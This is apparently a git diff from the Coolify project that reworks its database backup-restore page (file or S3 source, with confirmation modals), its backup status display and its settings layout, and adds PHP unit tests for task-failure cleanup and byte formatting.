||||
this.on('uploadprogress', function (file, progress, bytesSent) {
|
||||
$wire.progress = progress;
|
||||
});
|
||||
this.on('complete', function (file) {
|
||||
$wire.filename = file.name;
|
||||
$wire.filesize = Number(file.size / 1024 / 1024).toFixed(2) + ' MB';
|
||||
$wire.isUploading = false;
|
||||
});
|
||||
this.on('error', function (file, message) {
|
||||
$wire.error = true;
|
||||
$wire.$dispatch('error', message.error)
|
||||
});
|
||||
}
|
||||
};
|
||||
</script>
|
||||
@endscript
|
||||
<h2>Import Backup</h2>
|
||||
@if ($unsupported)
|
||||
<div>Database restore is not supported.</div>
|
||||
@else
|
||||
<div class="pt-2 rounded-sm alert-error">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 stroke-current shrink-0" fill="none"
|
||||
viewBox="0 0 24 24">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 stroke-current shrink-0" fill="none" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
|
||||
</svg>
|
||||
<span>This is a destructive action, existing data will be replaced!</span>
|
||||
</div>
|
||||
@if (str(data_get($resource, 'status'))->startsWith('running'))
|
||||
{{-- Restore Command Configuration --}}
|
||||
@if ($resource->type() === 'standalone-postgresql')
|
||||
@if ($dumpAll)
|
||||
<x-forms.textarea rows="6" readonly label="Custom Import Command"
|
||||
|
|
@ -62,8 +73,7 @@
|
|||
</div>
|
||||
@endif
|
||||
<div class="w-64 pt-2">
|
||||
<x-forms.checkbox label="Backup includes all databases"
|
||||
wire:model.live='dumpAll'></x-forms.checkbox>
|
||||
<x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
|
||||
</div>
|
||||
@elseif ($resource->type() === 'standalone-mysql')
|
||||
@if ($dumpAll)
|
||||
|
|
@ -73,8 +83,7 @@
|
|||
<x-forms.input label="Custom Import Command" wire:model='mysqlRestoreCommand'></x-forms.input>
|
||||
@endif
|
||||
<div class="w-64 pt-2">
|
||||
<x-forms.checkbox label="Backup includes all databases"
|
||||
wire:model.live='dumpAll'></x-forms.checkbox>
|
||||
<x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
|
||||
</div>
|
||||
@elseif ($resource->type() === 'standalone-mariadb')
|
||||
@if ($dumpAll)
|
||||
|
|
@ -84,35 +93,143 @@
|
|||
<x-forms.input label="Custom Import Command" wire:model='mariadbRestoreCommand'></x-forms.input>
|
||||
@endif
|
||||
<div class="w-64 pt-2">
|
||||
<x-forms.checkbox label="Backup includes all databases"
|
||||
wire:model.live='dumpAll'></x-forms.checkbox>
|
||||
<x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
|
||||
</div>
|
||||
@endif
|
||||
<h3 class="pt-6">Backup File</h3>
|
||||
<form class="flex gap-2 items-end">
|
||||
<x-forms.input label="Location of the backup file on the server"
|
||||
placeholder="e.g. /home/user/backup.sql.gz" wire:model='customLocation'></x-forms.input>
|
||||
<x-forms.button class="w-full" wire:click='checkFile'>Check File</x-forms.button>
|
||||
</form>
|
||||
<div class="pt-2 text-center text-xl font-bold">
|
||||
Or
|
||||
</div>
|
||||
<form action="/upload/backup/{{ $resource->uuid }}" class="dropzone" id="my-dropzone" wire:ignore>
|
||||
@csrf
|
||||
</form>
|
||||
<div x-show="isUploading">
|
||||
<progress max="100" x-bind:value="progress" class="progress progress-warning"></progress>
|
||||
</div>
|
||||
<h3 class="pt-6" x-show="filename && !error">File Information</h3>
|
||||
<div x-show="filename && !error">
|
||||
<div>Location: <span x-text="filename ?? 'N/A'"></span> <span x-text="filesize">/ </span></div>
|
||||
<x-forms.button class="w-full my-4" wire:click='runImport'>Restore Backup</x-forms.button>
|
||||
</div>
|
||||
<div class="container w-full mx-auto" x-show="$wire.importRunning">
|
||||
<livewire:activity-monitor header="Database Restore Output" :showWaiting="false" />
|
||||
|
||||
{{-- Restore Type Selection Boxes --}}
|
||||
<h3 class="pt-6">Choose Restore Method</h3>
|
||||
<div class="flex gap-4 pt-2">
|
||||
<div @click="restoreType = 'file'"
|
||||
class="flex-1 p-6 border-2 rounded-sm cursor-pointer transition-all"
|
||||
:class="restoreType === 'file' ? 'border-warning bg-warning/10' : 'border-neutral-200 dark:border-neutral-800 hover:border-warning/50'">
|
||||
<div class="flex flex-col gap-2">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="w-8 h-8" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M15 13l-3-3m0 0l-3 3m3-3v12" />
|
||||
</svg>
|
||||
<h4 class="text-lg font-bold">Restore from File</h4>
|
||||
<p class="text-sm text-neutral-600 dark:text-neutral-400">Upload a backup file or specify a file path on the server</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@if ($availableS3Storages->count() > 0)
|
||||
<div @click="restoreType = 's3'"
|
||||
class="flex-1 p-6 border-2 rounded-sm cursor-pointer transition-all"
|
||||
:class="restoreType === 's3' ? 'border-warning bg-warning/10' : 'border-neutral-200 dark:border-neutral-800 hover:border-warning/50'">
|
||||
<div class="flex flex-col gap-2">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="w-8 h-8" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 15a4 4 0 004 4h9a5 5 0 10-.1-9.999 5.002 5.002 0 10-9.78 2.096A4.001 4.001 0 003 15z" />
|
||||
</svg>
|
||||
<h4 class="text-lg font-bold">Restore from S3</h4>
|
||||
<p class="text-sm text-neutral-600 dark:text-neutral-400">Download and restore a backup from S3 storage</p>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
|
||||
{{-- File Restore Section --}}
|
||||
@can('update', $resource)
|
||||
<div x-show="restoreType === 'file'" class="pt-6">
|
||||
<h3>Backup File</h3>
|
||||
<form class="flex gap-2 items-end pt-2">
|
||||
<x-forms.input label="Location of the backup file on the server" placeholder="e.g. /home/user/backup.sql.gz"
|
||||
wire:model='customLocation' x-model="$wire.customLocation"></x-forms.input>
|
||||
<x-forms.button class="w-full" wire:click='checkFile' x-bind:disabled="!$wire.customLocation">Check File</x-forms.button>
|
||||
</form>
|
||||
<div class="pt-2 text-center text-xl font-bold">
|
||||
Or
|
||||
</div>
|
||||
<form action="/upload/backup/{{ $resource->uuid }}" class="dropzone" id="my-dropzone" wire:ignore>
|
||||
@csrf
|
||||
</form>
|
||||
<div x-show="isUploading">
|
||||
<progress max="100" x-bind:value="progress" class="progress progress-warning"></progress>
|
||||
</div>
|
||||
|
||||
<div x-show="filename && !error" class="pt-6">
|
||||
<h3>File Information</h3>
|
||||
<div class="pt-2">Location: <span x-text="filename ?? 'N/A'"></span> <span x-text="filesize">/ </span></div>
|
||||
<div class="pt-2">
|
||||
<x-modal-confirmation title="Restore Database from File?" buttonTitle="Restore from File"
|
||||
submitAction="runImport" isErrorButton>
|
||||
<x-slot:button-title>
|
||||
Restore Database from File
|
||||
</x-slot:button-title>
|
||||
This will perform the following actions:
|
||||
<ul class="list-disc list-inside pt-2">
|
||||
<li>Copy backup file to database container</li>
|
||||
<li>Execute restore command</li>
|
||||
</ul>
|
||||
<div class="pt-2 font-bold text-error">WARNING: This will REPLACE all existing data!</div>
|
||||
</x-modal-confirmation>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@endcan
|
||||
|
||||
{{-- S3 Restore Section --}}
|
||||
@if ($availableS3Storages->count() > 0)
|
||||
@can('update', $resource)
|
||||
<div x-show="restoreType === 's3'" class="pt-6">
|
||||
<h3>Restore from S3</h3>
|
||||
<div class="flex flex-col gap-2 pt-2">
|
||||
<x-forms.select label="S3 Storage" wire:model.live="s3StorageId">
|
||||
<option value="">Select S3 Storage</option>
|
||||
@foreach ($availableS3Storages as $storage)
|
||||
<option value="{{ $storage->id }}">{{ $storage->name }}
|
||||
@if ($storage->description)
|
||||
- {{ $storage->description }}
|
||||
@endif
|
||||
</option>
|
||||
@endforeach
|
||||
</x-forms.select>
|
||||
|
||||
<x-forms.input label="S3 File Path (within bucket)"
|
||||
helper="Path to the backup file in your S3 bucket, e.g., /backups/database-2025-01-15.gz"
|
||||
placeholder="/backups/database-backup.gz" wire:model.blur='s3Path'
|
||||
wire:keydown.enter='checkS3File'></x-forms.input>
|
||||
|
||||
<div class="flex gap-2">
|
||||
<x-forms.button class="w-full" wire:click='checkS3File' x-bind:disabled="!s3StorageId || !s3Path">
|
||||
Check File
|
||||
</x-forms.button>
|
||||
</div>
|
||||
|
||||
@if ($s3FileSize)
|
||||
<div class="pt-6">
|
||||
<h3>File Information</h3>
|
||||
<div class="pt-2">Location: {{ $s3Path }} {{ formatBytes($s3FileSize ?? 0) }}</div>
|
||||
<div class="pt-2">
|
||||
<x-modal-confirmation title="Restore Database from S3?" buttonTitle="Restore from S3"
|
||||
submitAction="restoreFromS3" isErrorButton>
|
||||
<x-slot:button-title>
|
||||
Restore Database from S3
|
||||
</x-slot:button-title>
|
||||
This will perform the following actions:
|
||||
<ul class="list-disc list-inside pt-2">
|
||||
<li>Download backup from S3 storage</li>
|
||||
<li>Copy file into database container</li>
|
||||
<li>Execute restore command</li>
|
||||
</ul>
|
||||
<div class="pt-2 font-bold text-error">WARNING: This will REPLACE all existing data!</div>
|
||||
</x-modal-confirmation>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
@endcan
|
||||
@endif
|
||||
|
||||
{{-- Slide-over for activity monitor (all restore operations) --}}
|
||||
<x-slide-over @databaserestore.window="slideOverOpen = true" closeWithX fullScreen>
|
||||
<x-slot:title>Database Restore Output</x-slot:title>
|
||||
<x-slot:content>
|
||||
<livewire:activity-monitor wire:key="database-restore-{{ $resource->uuid }}" header="Logs" fullHeight />
|
||||
</x-slot:content>
|
||||
</x-slide-over>
|
||||
@else
|
||||
<div>Database must be running to restore a backup.</div>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
|
|
@ -70,32 +70,32 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
|
|||
</div>
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
@if ($backup->latest_log)
|
||||
Started:
|
||||
{{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}
|
||||
@if (data_get($backup->latest_log, 'status') !== 'running')
|
||||
<br>Ended:
|
||||
{{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}
|
||||
<br>Duration:
|
||||
{{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }}
|
||||
<br>Finished
|
||||
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
|
||||
@endif
|
||||
@if ($backup->save_s3)
|
||||
<br>S3 Storage: Enabled
|
||||
@if (data_get($backup->latest_log, 'status') === 'running')
|
||||
<span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}">
|
||||
Running for {{ calculateDuration(data_get($backup->latest_log, 'created_at'), now()) }}
|
||||
</span>
|
||||
@else
|
||||
<span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }} Ended: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}">
|
||||
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
|
||||
({{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }})
|
||||
• {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->format('M j, H:i') }}
|
||||
</span>
|
||||
@endif
|
||||
@if (data_get($backup->latest_log, 'status') === 'success')
|
||||
@php
|
||||
$size = data_get($backup->latest_log, 'size', 0);
|
||||
$sizeFormatted =
|
||||
$size > 0 ? number_format($size / 1024 / 1024, 2) . ' MB' : 'Unknown';
|
||||
@endphp
|
||||
<br>Last Backup Size: {{ $sizeFormatted }}
|
||||
@if ($size > 0)
|
||||
• Size: {{ formatBytes($size) }}
|
||||
@endif
|
||||
@endif
|
||||
@if ($backup->save_s3)
|
||||
• S3: Enabled
|
||||
@endif
|
||||
@else
|
||||
Last Run: Never
|
||||
<br>Total Executions: 0
|
||||
Last Run: Never • Total Executions: 0
|
||||
@if ($backup->save_s3)
|
||||
<br>S3 Storage: Enabled
|
||||
• S3: Enabled
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
|
|
@ -154,27 +154,36 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
|
|||
</div>
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
@if ($backup->latest_log)
|
||||
Started:
|
||||
{{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}
|
||||
@if (data_get($backup->latest_log, 'status') !== 'running')
|
||||
<br>Ended:
|
||||
{{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}
|
||||
<br>Duration:
|
||||
{{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }}
|
||||
<br>Finished
|
||||
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
|
||||
@if (data_get($backup->latest_log, 'status') === 'running')
|
||||
<span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}">
|
||||
Running for {{ calculateDuration(data_get($backup->latest_log, 'created_at'), now()) }}
|
||||
</span>
|
||||
@else
|
||||
<span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }} Ended: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}">
|
||||
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
|
||||
({{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }})
|
||||
• {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->format('M j, H:i') }}
|
||||
</span>
|
||||
@endif
|
||||
@if (data_get($backup->latest_log, 'status') === 'success')
|
||||
@php
|
||||
$size = data_get($backup->latest_log, 'size', 0);
|
||||
@endphp
|
||||
@if ($size > 0)
|
||||
• Size: {{ formatBytes($size) }}
|
||||
@endif
|
||||
@endif
|
||||
<br><br>Total Executions: {{ $backup->executions()->count() }}
|
||||
@if ($backup->save_s3)
|
||||
<br>S3 Storage: Enabled
|
||||
• S3: Enabled
|
||||
@endif
|
||||
<br>Total Executions: {{ $backup->executions()->count() }}
|
||||
@php
|
||||
$successCount = $backup->executions()->where('status', 'success')->count();
|
||||
$totalCount = $backup->executions()->count();
|
||||
$successRate = $totalCount > 0 ? round(($successCount / $totalCount) * 100) : 0;
|
||||
@endphp
|
||||
@if ($totalCount > 0)
|
||||
<br>Success Rate: <span @class([
|
||||
• Success Rate: <span @class([
|
||||
'font-medium',
|
||||
'text-green-600' => $successRate >= 80,
|
||||
'text-yellow-600' => $successRate >= 50 && $successRate < 80,
|
||||
|
|
@ -182,19 +191,10 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
|
|||
])>{{ $successRate }}%</span>
|
||||
({{ $successCount }}/{{ $totalCount }})
|
||||
@endif
|
||||
@if (data_get($backup->latest_log, 'status') === 'success')
|
||||
@php
|
||||
$size = data_get($backup->latest_log, 'size', 0);
|
||||
$sizeFormatted =
|
||||
$size > 0 ? number_format($size / 1024 / 1024, 2) . ' MB' : 'Unknown';
|
||||
@endphp
|
||||
<br>Last Backup Size: {{ $sizeFormatted }}
|
||||
@endif
|
||||
@else
|
||||
Last Run: Never
|
||||
<br>Total Executions: 0
|
||||
Last Run: Never • Total Executions: 0
|
||||
@if ($backup->save_s3)
|
||||
<br>S3 Storage: Enabled
|
||||
• S3: Enabled
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -1,28 +1,29 @@
|
|||
<div>
|
||||
<x-slot:title>
|
||||
Settings | Coolify
|
||||
</x-slot>
|
||||
<x-settings.navbar />
|
||||
<div x-data="{ activeTab: window.location.hash ? window.location.hash.substring(1) : 'general' }" class="flex flex-col h-full gap-8 sm:flex-row">
|
||||
<x-settings.sidebar activeMenu="general" />
|
||||
<form wire:submit='submit' class="flex flex-col">
|
||||
<div class="flex items-center gap-2">
|
||||
<h2>General</h2>
|
||||
<x-forms.button type="submit">
|
||||
Save
|
||||
</x-forms.button>
|
||||
</div>
|
||||
<div class="pb-4">General configuration for your Coolify instance.</div>
|
||||
</x-slot>
|
||||
<x-settings.navbar />
|
||||
<div x-data="{ activeTab: window.location.hash ? window.location.hash.substring(1) : 'general' }"
|
||||
class="flex flex-col h-full gap-8 sm:flex-row">
|
||||
<x-settings.sidebar activeMenu="general" />
|
||||
<form wire:submit='submit' class="flex flex-col">
|
||||
<div class="flex items-center gap-2">
|
||||
<h2>General</h2>
|
||||
<x-forms.button type="submit">
|
||||
Save
|
||||
</x-forms.button>
|
||||
</div>
|
||||
<div class="pb-4">General configuration for your Coolify instance.</div>
|
||||
|
||||
<div class="flex flex-col gap-2">
|
||||
<div class="flex flex-wrap items-end gap-2">
|
||||
<div class="flex gap-2 md:flex-row flex-col w-full">
|
||||
<x-forms.input id="fqdn" label="Domain"
|
||||
helper="Enter the full domain name (FQDN) of the instance, including 'https://' if you want to secure the dashboard with HTTPS. Setting this will make the dashboard accessible via this domain, secured by HTTPS, instead of just the IP address."
|
||||
placeholder="https://coolify.yourdomain.com" />
|
||||
<x-forms.input id="instance_name" label="Name" placeholder="Coolify"
|
||||
helper="Custom name for your Coolify instance, shown in the URL." />
|
||||
<div class="w-full" x-data="{
|
||||
<div class="flex flex-col gap-2">
|
||||
<div class="flex flex-wrap items-end gap-2">
|
||||
<div class="flex gap-2 md:flex-row flex-col w-full">
|
||||
<x-forms.input id="fqdn" label="Domain"
|
||||
helper="Enter the full domain name (FQDN) of the instance, including 'https://' if you want to secure the dashboard with HTTPS. Setting this will make the dashboard accessible via this domain, secured by HTTPS, instead of just the IP address."
|
||||
placeholder="https://coolify.yourdomain.com" />
|
||||
<x-forms.input id="instance_name" label="Name" placeholder="Coolify"
|
||||
helper="Custom name for your Coolify instance, shown in the URL." />
|
||||
<div class="w-full" x-data="{
|
||||
open: false,
|
||||
search: '{{ $settings->instance_timezone ?: '' }}',
|
||||
timezones: @js($this->timezones),
|
||||
|
|
@ -35,70 +36,75 @@
|
|||
})
|
||||
}
|
||||
}">
|
||||
<div class="flex items-center mb-1">
|
||||
<label for="instance_timezone">Instance
|
||||
Timezone</label>
|
||||
<x-helper class="ml-2"
|
||||
helper="Timezone for the Coolify instance. This is used for the update check and automatic update frequency." />
|
||||
</div>
|
||||
<div class="relative">
|
||||
<div class="inline-flex relative items-center w-full">
|
||||
<input autocomplete="off"
|
||||
wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300'
|
||||
wire:dirty.class="dark:focus:ring-warning dark:ring-warning" x-model="search"
|
||||
@focus="open = true" @click.away="open = false" @input="open = true"
|
||||
class="w-full input" :placeholder="placeholder" wire:model="instance_timezone">
|
||||
<svg class="absolute right-0 mr-2 w-4 h-4" xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"
|
||||
@click="open = true">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
d="M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9" />
|
||||
</svg>
|
||||
<div class="flex items-center mb-1">
|
||||
<label for="instance_timezone">Instance
|
||||
Timezone</label>
|
||||
<x-helper class="ml-2"
|
||||
helper="Timezone for the Coolify instance. This is used for the update check and automatic update frequency." />
|
||||
</div>
|
||||
<div x-show="open"
|
||||
class="overflow-auto overflow-x-hidden absolute z-50 mt-1 w-full max-h-60 bg-white rounded-md border shadow-lg dark:bg-coolgray-100 dark:border-coolgray-200 scrollbar">
|
||||
<template
|
||||
x-for="timezone in timezones.filter(tz => tz.toLowerCase().includes(search.toLowerCase()))"
|
||||
:key="timezone">
|
||||
<div @click="search = timezone; open = false; $wire.set('instance_timezone', timezone); $wire.submit()"
|
||||
class="px-4 py-2 text-gray-800 cursor-pointer hover:bg-gray-100 dark:hover:bg-coolgray-300 dark:text-gray-200"
|
||||
x-text="timezone"></div>
|
||||
</template>
|
||||
<div class="relative">
|
||||
<div class="inline-flex relative items-center w-full">
|
||||
<input autocomplete="off"
|
||||
wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300'
|
||||
wire:dirty.class="dark:focus:ring-warning dark:ring-warning"
|
||||
x-model="search" @focus="open = true" @click.away="open = false"
|
||||
@input="open = true" class="w-full input" :placeholder="placeholder"
|
||||
wire:model="instance_timezone">
|
||||
<svg class="absolute right-0 mr-2 w-4 h-4" xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"
|
||||
@click="open = true">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
d="M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9" />
|
||||
</svg>
|
||||
</div>
|
||||
<div x-show="open"
|
||||
class="overflow-auto overflow-x-hidden absolute z-50 mt-1 w-full max-h-60 bg-white rounded-md border shadow-lg dark:bg-coolgray-100 dark:border-coolgray-200 scrollbar">
|
||||
<template
|
||||
x-for="timezone in timezones.filter(tz => tz.toLowerCase().includes(search.toLowerCase()))"
|
||||
:key="timezone">
|
||||
<div @click="search = timezone; open = false; $wire.set('instance_timezone', timezone); $wire.submit()"
|
||||
class="px-4 py-2 text-gray-800 cursor-pointer hover:bg-gray-100 dark:hover:bg-coolgray-300 dark:text-gray-200"
|
||||
x-text="timezone"></div>
|
||||
</template>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex gap-2 md:flex-row flex-col w-full">
|
||||
<x-forms.input id="public_ipv4" type="password" label="Instance's Public IPv4"
|
||||
helper="Enter the IPv4 address of the instance.<br><br>It is useful if you have several IPv4 addresses and Coolify could not detect the correct one."
|
||||
placeholder="1.2.3.4" autocomplete="new-password" />
|
||||
<x-forms.input id="public_ipv6" type="password" label="Instance's Public IPv6"
|
||||
helper="Enter the IPv6 address of the instance.<br><br>It is useful if you have several IPv6 addresses and Coolify could not detect the correct one."
|
||||
placeholder="2001:db8::1" autocomplete="new-password" />
|
||||
</div>
|
||||
@if(isDev())
|
||||
<div class="flex gap-2 md:flex-row flex-col w-full">
|
||||
<x-forms.input id="dev_helper_version" label="Dev Helper Version (Development Only)"
|
||||
helper="Override the default coolify-helper image version. Leave empty to use the default version from config ({{ config('constants.coolify.helper_version') }}). Examples: 1.0.11, latest, dev"
|
||||
placeholder="{{ config('constants.coolify.helper_version') }}" />
|
||||
</div>
|
||||
@endif
|
||||
<div class="flex gap-2 md:flex-row flex-col w-full">
|
||||
<x-forms.input id="public_ipv4" type="password" label="Instance's Public IPv4"
|
||||
helper="Enter the IPv4 address of the instance.<br><br>It is useful if you have several IPv4 addresses and Coolify could not detect the correct one."
|
||||
placeholder="1.2.3.4" autocomplete="new-password" />
|
||||
<x-forms.input id="public_ipv6" type="password" label="Instance's Public IPv6"
|
||||
helper="Enter the IPv6 address of the instance.<br><br>It is useful if you have several IPv6 addresses and Coolify could not detect the correct one."
|
||||
placeholder="2001:db8::1" autocomplete="new-password" />
|
||||
</div>
|
||||
|
||||
@if($buildActivityId)
|
||||
<div class="w-full mt-4">
|
||||
<livewire:activity-monitor header="Building Helper Image" :activityId="$buildActivityId"
|
||||
:fullHeight="false" />
|
||||
</div>
|
||||
@endif
|
||||
@if(isDev())
|
||||
|
||||
<x-forms.input id="dev_helper_version" label="Dev Helper Version (Development Only)"
|
||||
helper="Override the default coolify-helper image version. Leave empty to use the default version from config ({{ config('constants.coolify.helper_version') }}). Examples: 1.0.11, latest, dev"
|
||||
placeholder="{{ config('constants.coolify.helper_version') }}" />
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<x-domain-conflict-modal
|
||||
:conflicts="$domainConflicts"
|
||||
:showModal="$showDomainConflictModal"
|
||||
confirmAction="confirmDomainUsage">
|
||||
<x-slot:consequences>
|
||||
<ul class="mt-2 ml-4 list-disc">
|
||||
<li>The Coolify instance domain will conflict with existing resources</li>
|
||||
<li>SSL certificates might not work correctly</li>
|
||||
<li>Routing behavior will be unpredictable</li>
|
||||
<li>You may not be able to access the Coolify dashboard properly</li>
|
||||
</ul>
|
||||
</x-slot:consequences>
|
||||
</x-domain-conflict-modal>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<x-domain-conflict-modal :conflicts="$domainConflicts" :showModal="$showDomainConflictModal"
|
||||
confirmAction="confirmDomainUsage">
|
||||
<x-slot:consequences>
|
||||
<ul class="mt-2 ml-4 list-disc">
|
||||
<li>The Coolify instance domain will conflict with existing resources</li>
|
||||
<li>SSL certificates might not work correctly</li>
|
||||
<li>Routing behavior will be unpredictable</li>
|
||||
<li>You may not be able to access the Coolify dashboard properly</li>
|
||||
</ul>
|
||||
</x-slot:consequences>
|
||||
</x-domain-conflict-modal>
|
||||
</div>
|
||||
</div>
|
||||
84
tests/Unit/CoolifyTaskCleanupTest.php
Normal file
84
tests/Unit/CoolifyTaskCleanupTest.php
Normal file
|
|
@ -0,0 +1,84 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\CoolifyTask;
|
||||
|
||||
it('CoolifyTask has failed method that handles cleanup', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
|
||||
// Verify failed method exists
|
||||
expect($reflection->hasMethod('failed'))->toBeTrue();
|
||||
|
||||
// Get the failed method
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source to verify it dispatches events
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify the implementation contains event dispatch logic
|
||||
expect($methodSource)
|
||||
->toContain('call_event_on_finish')
|
||||
->and($methodSource)->toContain('event(new $eventClass')
|
||||
->and($methodSource)->toContain('call_event_data')
|
||||
->and($methodSource)->toContain('Log::info');
|
||||
});
|
||||
|
||||
it('CoolifyTask failed method updates activity status to ERROR', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify activity status is set to ERROR
|
||||
expect($methodSource)
|
||||
->toContain("'status' => ProcessStatus::ERROR->value")
|
||||
->and($methodSource)->toContain("'error' =>")
|
||||
->and($methodSource)->toContain("'failed_at' =>");
|
||||
});
|
||||
|
||||
it('CoolifyTask failed method has proper error handling for event dispatch', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify try-catch around event dispatch
|
||||
expect($methodSource)
|
||||
->toContain('try {')
|
||||
->and($methodSource)->toContain('} catch (\Throwable $e) {')
|
||||
->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
|
||||
});
|
||||
|
||||
it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$constructor = $reflection->getConstructor();
|
||||
|
||||
// Get constructor parameters
|
||||
$parameters = $constructor->getParameters();
|
||||
$paramNames = array_map(fn ($p) => $p->getName(), $parameters);
|
||||
|
||||
// Verify both parameters exist
|
||||
expect($paramNames)
|
||||
->toContain('call_event_on_finish')
|
||||
->and($paramNames)->toContain('call_event_data');
|
||||
|
||||
// Verify they are public properties (constructor property promotion)
|
||||
expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
|
||||
expect($reflection->hasProperty('call_event_data'))->toBeTrue();
|
||||
});
|
||||
42
tests/Unit/FormatBytesTest.php
Normal file
42
tests/Unit/FormatBytesTest.php
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
<?php
|
||||
|
||||
it('formats zero bytes correctly', function () {
|
||||
expect(formatBytes(0))->toBe('0 B');
|
||||
});
|
||||
|
||||
it('formats null bytes correctly', function () {
|
||||
expect(formatBytes(null))->toBe('0 B');
|
||||
});
|
||||
|
||||
